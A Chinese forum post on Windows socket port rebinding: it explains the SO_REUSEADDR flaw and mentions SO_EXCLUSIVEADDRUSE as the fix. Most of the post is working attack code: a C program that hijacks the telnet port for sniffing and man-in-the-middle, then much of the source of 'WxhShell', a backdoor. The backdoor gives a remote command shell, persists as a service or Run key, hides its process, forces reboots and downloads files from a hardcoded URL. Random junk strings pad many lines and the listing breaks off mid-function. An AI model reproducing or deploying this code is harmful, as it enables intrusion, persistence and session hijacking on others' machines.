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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A:# k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p&N#_dmlH  
n~g LPHY  
  saddr.sin_family = AF_INET; WE6\dhJ<  
4=[7Em?oLb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #E$X ,[ZFo  
]@ M5_%p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?&X6:KJQ  
>#(n"RCHf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #sB,1"  
UiQEJXwnz  
  这意味着什么?意味着可以进行如下的攻击:  jz'<  
L":bI&V?:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1|| +6bRP  
2/7_;_#vJ%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {1-V]h.<J  
}-DE`c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4n0xE[-  
}< 5F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K#mOSY;}  
,Zf 9RM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uQqWew8l+  
_. V?A*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aM=D84@  
b-^p1{A0zW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LT@OWH  
SO f{Hx0C6  
  #include F<&!b2)ML  
  #include 5|8^9Oe5  
  #include s!+ pL|  
  #include    e Y$qV}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   oG oK,  
  int main() d_z 59  
  { "3CJUr:Q  
  WORD wVersionRequested; 'gMfN  
  DWORD ret; 2 QTZwx  
  WSADATA wsaData; OE`X<h4r  
  BOOL val; 9~\kF5Q"  
  SOCKADDR_IN saddr; G$M9=@Ug  
  SOCKADDR_IN scaddr; ~x:DXEV,  
  int err;  .) tSg  
  SOCKET s; p#P~Q/;  
  SOCKET sc; J^#:qk  
  int caddsize; vGy8Qu>  
  HANDLE mt; &a0r%L()X  
  DWORD tid;   'tgKe!-@  
  wVersionRequested = MAKEWORD( 2, 2 ); ?~e3 &ux  
  err = WSAStartup( wVersionRequested, &wsaData ); o{:xp r=(  
  if ( err != 0 ) { oqd;6[%G  
  printf("error!WSAStartup failed!\n"); LNYKm~c N  
  return -1; .Pndx%X9s  
  } 4,Ic}CvM  
  saddr.sin_family = AF_INET; 8IQtz2  
   !^oV #  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2}6%qgnT-  
=T?}Nt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "r4AY  
  saddr.sin_port = htons(23); jKIxdY:U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LW6ZAETyL  
  { `r"+644  
  printf("error!socket failed!\n"); B!]2Se2G  
  return -1; )-15 N  
  } 1$/MrPT(b  
  val = TRUE; 2&mGT&HAVA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Jzji&A~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u7%D6W~m0  
  { ~/pzxo$  
  printf("error!setsockopt failed!\n"); r|Z3$J{^"  
  return -1; Qj{8?lew  
  } } p FQRSOZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f 3V Dv9(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  .~A*=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ks^6.)  
^ 2GHe<Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e~%  ;K4  
  { w27KI]%(  
  ret=GetLastError(); ~)LH='|h\}  
  printf("error!bind failed!\n"); Bs+(L [Z  
  return -1; N[]Hc  
  } :o-,SrORM  
  listen(s,2); *K!|@h{60  
  while(1) K%<j=c  
  { EKEjv|_)  
  caddsize = sizeof(scaddr); (s<Dd2&.H  
  //接受连接请求 q\Q{sv_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); omO S=d!o  
  if(sc!=INVALID_SOCKET) ~LJY6A@y  
  { Y?CCD4"qn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E1dD7r\  
  if(mt==NULL) 8KB>6[H!wE  
  { 4 %PfrJ  
  printf("Thread Creat Failed!\n"); Ds #/  
  break; geQ{EwO8n  
  } 1_fZm+oW!  
  } 0N[&3Ee8  
  CloseHandle(mt); +;$oJJ  
  } F|Mi{5G%  
  closesocket(s); n55Pv3}C  
  WSACleanup(); 0iULCK  
  return 0; E J$36  
  }   `p;eIt  
  DWORD WINAPI ClientThread(LPVOID lpParam) :q8b;*:  
  { !CX t*/~  
  SOCKET ss = (SOCKET)lpParam; 7^wc)E^H  
  SOCKET sc; ] h-,o R?e  
  unsigned char buf[4096]; EXP%Mk/  
  SOCKADDR_IN saddr; l Z#o+d2Y  
  long num; Fc~'TBf,,`  
  DWORD val; WLF0US'  
  DWORD ret; vS\%3A4^+5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A(?\>X 9g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;\EiM;Q]  
  saddr.sin_family = AF_INET; hjaT^(Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8N:owK  
  saddr.sin_port = htons(23); X;<BzA!H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :[ k4Z]t8  
  { -.g|l\  
  printf("error!socket failed!\n"); <;E  
  return -1; S3L~~X/=  
  } [: xiZ  
  val = 100; &] \X]p  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C6O8RHg  
  { h;=6VgXZ  
  ret = GetLastError(); fc/ &X  
  return -1; *x)Ozfe  
  } 8G5Da|\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jTLSdul+  
  { *Zm^ ~Vo  
  ret = GetLastError(); }FzqW*4~  
  return -1; jV(6>BAI_  
  } D;UV&.$'v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sA gKg=)  
  { PrudhUI^  
  printf("error!socket connect failed!\n"); 5{n*"88  
  closesocket(sc); e/->_T(I  
  closesocket(ss); G_>#Js  
  return -1; k}KC/d9.z  
  } l>Ub!^;  
  while(1) %0? M?Jf  
  { (`? y2n)~W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rP!#RzL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 WK="J6K5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8k(P,o  
  num = recv(ss,buf,4096,0); 7}*6#KRG  
  if(num>0) q>w)"Dd  
  send(sc,buf,num,0); >vuY+o;B  
  else if(num==0) ljK rj  
  break; b)9'bJRvU  
  num = recv(sc,buf,4096,0); R\XKMF3mN3  
  if(num>0) 5OoN!TEM  
  send(ss,buf,num,0); l4TpH|k  
  else if(num==0) *>VVt8*Et  
  break; lV.F,3  
  } %Th>C2\  
  closesocket(ss); 9b?SHzAa  
  closesocket(sc); %lg=YGLQB  
  return 0 ; O@?k T;B  
  } hDV20&hq  
z5W@`=D  
#GJ dZ  
========================================================== QXF aAb=(7  
v\`9;QV5  
下边附上一个代码,,WXhSHELL y>*xVK{D  
`# sTmC)  
========================================================== a,78l@d(  
&YDK (&>  
#include "stdafx.h" 0euuT@_$  
sBV 4)xM  
#include <stdio.h> V 21njRS  
#include <string.h> m^x6>9,  
#include <windows.h> 3_q3Bk  
#include <winsock2.h> vP+@z-O  
#include <winsvc.h> .(Qx{r$  
#include <urlmon.h> hK<5KZ/4  
erO>1 ,4S  
#pragma comment (lib, "Ws2_32.lib") R0oKbs{  
#pragma comment (lib, "urlmon.lib") )]#aauC+  
=V"(AuCVE  
#define MAX_USER   100 // 最大客户端连接数 y1=N F  
#define BUF_SOCK   200 // sock buffer i|1^+;  
#define KEY_BUFF   255 // 输入 buffer M4xi1M#%  
<, 3ROo76  
#define REBOOT     0   // 重启 )G7=G+e;  
#define SHUTDOWN   1   // 关机 wCk~CkC?  
Y<0 4RV  
#define DEF_PORT   5000 // 监听端口 *6(kbes  
#lU9yv  
#define REG_LEN     16   // 注册表键长度 1,5E `J  
#define SVC_LEN     80   // NT服务名长度 ~SSU`  
Mkq( T[)  
// 从dll定义API j5I`a 1j`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zS] 8V?`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w\}?(uO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n<B<93f/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fb  da  
`yF`x8  
// wxhshell配置信息 _e9:me5d"$  
struct WSCFG { id?h>g  
  int ws_port;         // 监听端口 tTU=+*Io  
  char ws_passstr[REG_LEN]; // 口令 ,ZS6jZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no n&A'C\  
  char ws_regname[REG_LEN]; // 注册表键名 @* il3h,  
  char ws_svcname[REG_LEN]; // 服务名 fqu}Le  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /k"`7`!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *%vwM7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $)H@|< K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &F}"Z(B<wK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ={?v Ab:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _bD/D!|  
qaim6a  
}; ^*~;k|;&  
M,}|tsL  
// default Wxhshell configuration nL:SG{7  
struct WSCFG wscfg={DEF_PORT, hXGwP4  
    "xuhuanlingzhe", w-@6|o,S  
    1, H'F6$ypoS  
    "Wxhshell", rxO2QQ%V  
    "Wxhshell", 4d:{HLX,  
            "WxhShell Service", ! Q<>3 xZ  
    "Wrsky Windows CmdShell Service", s( <uo{  
    "Please Input Your Password: ", 7=]i~7uy  
  1, 4.RG4Jq  
  "http://www.wrsky.com/wxhshell.exe", $BmmNn#  
  "Wxhshell.exe" 0q\7C[R_  
    }; 1c+]gIe  
!A1)|/ a@  
// 消息定义模块 7*DMVok:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #"fJa:IYG7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c"!lwm3b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q2:K 4  
char *msg_ws_ext="\n\rExit."; PM":Vd/  
char *msg_ws_end="\n\rQuit."; {A|TowBN  
char *msg_ws_boot="\n\rReboot..."; /m _kn  
char *msg_ws_poff="\n\rShutdown..."; ~el3I=KC}  
char *msg_ws_down="\n\rSave to "; #}^-C&~  
rwIe qV{:  
char *msg_ws_err="\n\rErr!"; 2k6 X,  
char *msg_ws_ok="\n\rOK!"; ;O  0+,  
aAu>Tn86D.  
char ExeFile[MAX_PATH]; YC]L)eafo`  
int nUser = 0; `bKA+c,f  
HANDLE handles[MAX_USER]; j'i0*"x  
int OsIsNt; ZDL']*)'  
p (FlR?= S  
SERVICE_STATUS       serviceStatus; p1c3Q$>i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1xf=_F0`&  
fQ+VT|jzx  
// 函数声明 V Cy5JH  
int Install(void); ?t@v&s  
int Uninstall(void); ~tB;@e  
int DownloadFile(char *sURL, SOCKET wsh); AGA`fRVx  
int Boot(int flag); TST4Vy3  
void HideProc(void); ]<DNo&fw  
int GetOsVer(void); 9s +z B  
int Wxhshell(SOCKET wsl); _B2V "p  
void TalkWithClient(void *cs); \bCX=E-  
int CmdShell(SOCKET sock); T2 ?HRx  
int StartFromService(void); ~#\i!I;RY}  
int StartWxhshell(LPSTR lpCmdLine); Q '(ihUq*k  
,~zj=F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `nR%Cav,U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g=}v>[k E  
PZ8U6K'  
// 数据结构和表定义 ;evCW$G=  
SERVICE_TABLE_ENTRY DispatchTable[] = URcR  
{ "HM{b?N  
{wscfg.ws_svcname, NTServiceMain}, y%]8'q$  
{NULL, NULL} iNCX:Y  
}; f]~c)P Cs  
uQLlA&I"  
// 自我安装 RANPi\]  
int Install(void) l^NC]t  
{ M4Z@O3OI E  
  char svExeFile[MAX_PATH]; 5=?i;P  
  HKEY key; .V6-(d  
  strcpy(svExeFile,ExeFile); F)$K  
09M;}4ev&7  
// 如果是win9x系统,修改注册表设为自启动 ,gnQa  
if(!OsIsNt) { ydWtvFuS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i`%.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5CJZw3q  
  RegCloseKey(key); M/V(5IoP (  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~!%0Z9>ap  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dTEJ=d40  
  RegCloseKey(key); B'>*[!A  
  return 0; "C%!8`K{a*  
    } xFp<7p L  
  } IN^9uL]B  
} QL"gWr`R  
else { juToO  
MBk"KF  
// 如果是NT以上系统,安装为系统服务 YTY%#"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VmQh$&h  
if (schSCManager!=0) #_Ea[q7v  
{ +I|8Q|^SD  
  SC_HANDLE schService = CreateService ioIv=qGdiP  
  ( 2xmk,&s  
  schSCManager, EiV=RdL  
  wscfg.ws_svcname, ]>:^d%n,}  
  wscfg.ws_svcdisp, <D/al9  
  SERVICE_ALL_ACCESS, ){Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ||TtNH  
  SERVICE_AUTO_START, 4".J/I5u  
  SERVICE_ERROR_NORMAL,  0V11#   
  svExeFile, .+#Lx;})  
  NULL, Wb=Jj 9;  
  NULL, #!!AbuhzK{  
  NULL, *)VAaGUX>  
  NULL, ;?6>mh(`  
  NULL O OlTrLL  
  ); fDuwgY0  
  if (schService!=0) KvFR8s  
  { }X1.Wt=?  
  CloseServiceHandle(schService); xcSR{IZ  
  CloseServiceHandle(schSCManager); R lg#z4m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iV)ac\  
  strcat(svExeFile,wscfg.ws_svcname); N2~$r pU3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q@Kk\m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *8!w&ME+.  
  RegCloseKey(key); GEE ]Kr  
  return 0; t!l%/$-  
    } hYvNcOSks  
  } cb+y9wA  
  CloseServiceHandle(schSCManager); Z*bC#s?  
} A o3HX  
} ^tE_LL+ji|  
Y$8; Gm<)  
return 1; \RE c8nsLy  
} J/S{FxNe]  
Dr 'sIH^  
// 自我卸载 KSOO?X0j  
int Uninstall(void) N#Ag'i4HF  
{ Pf8u/?/  
  HKEY key; a>b8- j=J  
4;\Y?M}g?  
if(!OsIsNt) { WFh@%j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  rA#s   
  RegDeleteValue(key,wscfg.ws_regname); zUQe0Gc.b^  
  RegCloseKey(key); v' 0!=r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3i(Jon/p  
  RegDeleteValue(key,wscfg.ws_regname); ~PYFYjHC  
  RegCloseKey(key); t{ H 1u  
  return 0;  4Iq5+Q  
  } }N|\   
} $I(}r3r  
} G7Ny"{Z  
else { 0#`)Prop6  
&|z|SY]DL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e`ex]py<C  
if (schSCManager!=0) "UpOY  
{ 6 6dTs,C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bFn(w:1Q  
  if (schService!=0) U3VT*nj'  
  { L<E/,IdE  
  if(DeleteService(schService)!=0) { /hfUPO5  
  CloseServiceHandle(schService); ' fl(N2t  
  CloseServiceHandle(schSCManager); =AzOnXW:S  
  return 0; ~y@& }  
  } 82 .HH5Z{  
  CloseServiceHandle(schService); [)iN)$Mv  
  } Fo LDMx(  
  CloseServiceHandle(schSCManager); . =R=cA7  
} S| "TP\o  
} 7?"9J `*  
GDmv0V$6  
return 1; Xr2 Wa  
} (-'PD_|  
"MTq{f2?  
// 从指定url下载文件 wNR=?Z~  
int DownloadFile(char *sURL, SOCKET wsh) qu!<lW~c  
{ (l2<+R%1  
  HRESULT hr; Q6|@N~UeZ  
char seps[]= "/"; X_!$Pk7ma  
char *token; D0KELA cY  
char *file; p Mh++H]"  
char myURL[MAX_PATH]; `{WCrw6)  
char myFILE[MAX_PATH]; kw;wlFU;  
8ur_/h7  
strcpy(myURL,sURL); iI}nW  
  token=strtok(myURL,seps); 6<+8}`@B>G  
  while(token!=NULL) Ul9b.`6  
  { $ JuLAqq  
    file=token; E~qK&7+  
  token=strtok(NULL,seps); LsnXS9_  
  } E8 \\X  
vo.EM1x  
GetCurrentDirectory(MAX_PATH,myFILE); %K`4k.gN  
strcat(myFILE, "\\"); 8db6(Q~P  
strcat(myFILE, file); vevx|<9,  
  send(wsh,myFILE,strlen(myFILE),0); |})rt5|f1!  
send(wsh,"...",3,0); (s.o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KM EXT$p  
  if(hr==S_OK) }el,^~  
return 0; m/cx|b3hqv  
else Mru~<:9  
return 1; Scf.4~H 0  
x9 TuweG  
} $F<%Jl7_Z  
^75pV%<%  
// 系统电源模块 @i\7k(9:A  
int Boot(int flag) -<_+-t  
{ w:n(pLc<  
  HANDLE hToken; *-+C<2"  
  TOKEN_PRIVILEGES tkp; ;%M2x5  
kK08W3@&t  
  if(OsIsNt) { }`?7\\6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &qG? [R{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5X#i65_-  
    tkp.PrivilegeCount = 1; |yuGK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rE9Ta8j6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }7otuO(pRo  
if(flag==REBOOT) { :A,O(   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3{6ps : w  
  return 0; |)~Ex 9%ev  
} ~D$#>'C#  
else { +0pgq (  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @263)`9G  
  return 0; '3IkPy1Uz  
} xq8}6Q  
  } \z&03@Sw  
  else { uv?8V@x2  
if(flag==REBOOT) { CD*f4I#d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IY-(- a8  
  return 0; v#{G8'+%  
} y^5T/M  
else { mYzsT Uq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kq-mr  
  return 0; #i'C  
} "FD<^  
} b\<lNE!L  
IptB.bYc  
return 1; \HBVNBY  
} oHv{Y  
3'|Uqf8  
// win9x进程隐藏模块 yBU ZVqqDa  
void HideProc(void) ahK?]:&QO  
{ #RCZA4>  
N` @W%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PT 0Qzg  
  if ( hKernel != NULL ) u&hDjE  
  { U}mL, kj"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &;SwLDF"1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,I 9][_  
    FreeLibrary(hKernel); \;A50U|r  
  } /y+;g{  
]j%*"V  
return; Y^*Lh/:h  
}  60Xl.  
dXf]G6  
// 获取操作系统版本 bUY:XmA  
int GetOsVer(void) 4eDmLC"Y *  
{ e _SoM!;  
  OSVERSIONINFO winfo; j3sz*:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^?sSsH z  
  GetVersionEx(&winfo); i} NkHEK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TsFV ;Sl3  
  return 1; op.PS{_t  
  else Q{ |+ 3!!'  
  return 0; tS_xa  
} /h}wM6pg  
5p#o1I  
// 客户端句柄模块 T_5*iwI  
int Wxhshell(SOCKET wsl) i"2J5LLv  
{ F1{?]>G  
  SOCKET wsh; z<3}TD  
  struct sockaddr_in client; Kd AR)EU>  
  DWORD myID; .>AFf9P  
X$j|/))  
  while(nUser<MAX_USER) ZYl-p]\*y  
{ ;Wfv+]n9  
  int nSize=sizeof(client); 9}'l=b:Jms  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kp#c:ym  
  if(wsh==INVALID_SOCKET) return 1; ^>vO5Ho.  
&\WkJ}&PnA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P@! Q1pr  
if(handles[nUser]==0) OW[/%U>  
  closesocket(wsh); b}EYNCw_7S  
else ]`CKQ> o  
  nUser++; MZ|c7f&`  
  } P}.yEta  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #C=L^cSx(  
E:dT_x<Y  
  return 0; .H[Lo>  
} E``!-W  
zn?a|kt  
// 关闭 socket {8>_,z^P)  
void CloseIt(SOCKET wsh) $J;=Ux)$  
{ fO^EMy\  
closesocket(wsh); am$-sh72  
nUser--; ~YT>:Np  
ExitThread(0); BHRrXC\  
} #IL~0t  
UmP?}Xw6  
// 客户端请求句柄 NZw[.s>n  
void TalkWithClient(void *cs) k{u%p<  
{ Vqv2F @.  
I;|5C=!  
  SOCKET wsh=(SOCKET)cs; u=ds]XP@  
  char pwd[SVC_LEN]; Sj]T{3mi  
  char cmd[KEY_BUFF]; 40l#'< y;  
char chr[1]; |]2eGrGj4  
int i,j; fi-&[llg  
NdED8 iRc  
  while (nUser < MAX_USER) { @gl%A&a  
|0vHy7CE  
if(wscfg.ws_passstr) { );/5#b@<Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 37M[9m|D*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ /X!tlwxh  
  //ZeroMemory(pwd,KEY_BUFF); exrt|A] _[  
      i=0; @T~#Gwv  
  while(i<SVC_LEN) { GWkJ/EX  
{/|8g(  
  // 设置超时 EuimZW\V  
  fd_set FdRead; <J_,9&\J  
  struct timeval TimeOut; kvO`]>#;$?  
  FD_ZERO(&FdRead); smLD m  
  FD_SET(wsh,&FdRead); L!}j3(I  
  TimeOut.tv_sec=8; |{|r? 3  
  TimeOut.tv_usec=0; |@bNd7=2d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?PxYS%D_L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TXvt0&-  
`))J8j"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &fNE9peQFa  
  pwd=chr[0]; aBtfZDCfzp  
  if(chr[0]==0xd || chr[0]==0xa) { YvP"W/5  
  pwd=0; ]zR;%p  
  break; Z?!:=x>7m  
  } uRq#pYn@  
  i++; <n2{+eO  
    } ,tv9+n@x  
2.L6]^N p(  
  // 如果是非法用户,关闭 socket ,DUQto  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M0IqQM57N  
} 2Q_{2(nQb  
)1yUV*6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [F-u'h< *l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G`JwAy r'  
L!Zxc~  
while(1) { DBh/V#* D  
_(s|Q  
  ZeroMemory(cmd,KEY_BUFF); lo;9sTUHT  
hs#s $})}Z  
      // 自动支持客户端 telnet标准   PNxO \Rc  
  j=0; f!kdcr=/"  
  while(j<KEY_BUFF) { :x5o3xE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RknSWuFKt  
  cmd[j]=chr[0]; X|lmH{kf  
  if(chr[0]==0xa || chr[0]==0xd) { v&/-&(+  
  cmd[j]=0; B46H@]d#7K  
  break; jE5 9h  
  } p){RS q  
  j++; C]cT*B^  
    } ump:dL5{  
Kz2^f@5=F  
  // 下载文件 R\=\6("  
  if(strstr(cmd,"http://")) { K dQ|$t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *wZV*)}  
  if(DownloadFile(cmd,wsh)) bIl0rx[`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hw.@Le>  
  else *E q7r>[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XlcDF|?{.  
  } zgOwSg8  
  else { r\- k/0  
E0%Y%PQ**{  
    switch(cmd[0]) { ZaV66Y>  
  ?U[nYp}"v  
  // 帮助 $<DA[ %pv  
  case '?': { 'Bn_'w~j{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6D]G*gwk[  
    break; e$|)wOwU  
  } !x / Z"  
  // 安装 @uD{`@[  
  case 'i': { Z 2jMBe  
    if(Install()) EF{'J8AQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mP+yjRw  
    else ,colGth 54  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6? ly. h$  
    break; H LGy"P  
    } ]*Ki7h |B  
  // 卸载 WC;a  
  case 'r': { mK&9p{4#U  
    if(Uninstall()) 2G> ]W?>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p%_ :(  
    else nezbmpL4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gf.o{  
    break; N>\?Aeh  
    } "< R 2oo)^  
  // 显示 wxhshell 所在路径 -zkL)<7  
  case 'p': { *%+buHe  
    char svExeFile[MAX_PATH]; OvG|=  
    strcpy(svExeFile,"\n\r"); 1caod0gor  
      strcat(svExeFile,ExeFile); !9OgA  
        send(wsh,svExeFile,strlen(svExeFile),0); LZ dNG\-  
    break; QP0X8%+p  
    } OEi9 )I  
  // 重启 nOzT Hg8  
  case 'b': { 5W-M8dc6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =i %w_ e  
    if(Boot(REBOOT)) 1<e%)? G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bq`kVfx  
    else { 6VE5C g  
    closesocket(wsh); K7Tell\`  
    ExitThread(0); e:occT  
    } Lwk-  
    break; izo $0  
    } iP_Xr~w  
  // 关机 E.9k%%X]  
  case 'd': { %W@IB8]Vr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )S?}huX  
